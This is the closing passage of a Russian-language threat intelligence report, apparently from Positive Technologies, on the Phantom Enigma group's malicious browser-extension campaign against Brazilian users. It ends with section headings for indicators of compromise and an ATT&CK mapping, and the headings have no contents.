Группировка Phantom Enigma остается активной на территории Латинской Америки, совершенствуя свою цепочку атаки. При этом возможны жертвы на территории других стран, так как для злоумышленников не имеет значения, какую компанию и в какой стране они взломали. Статистика с обнаруженных серверов указывает на массовость атак группировки, а ограничения на стороне сервера и проверки на стороне вредоносного кода скриптов, указывают на то, что атаки нацелены на пользователей из Бразилии.

То, как злоумышленники закрепляют свое расширение в системе, позволяет им имитировать поведение пользователя и с большей вероятностью оставаться незамеченными. Переход к использованию вредоносного расширения, интегрированного в установщик, исключает необходимость обходить механизмы защиты Chrome Web Store и подобных сервисов.

Индикаторы компрометации

Файловые индикаторы компрометации

BAT-скрипты

Syncro RMM

Установщики расширений

EnigmaBanker

Сетевые индикаторы компрометации

Матрица MITRE ATT&CK

EnigmaBanker

EnigmaUiLauncher

Вердикты продуктов Positive Technologies

PT Sandbox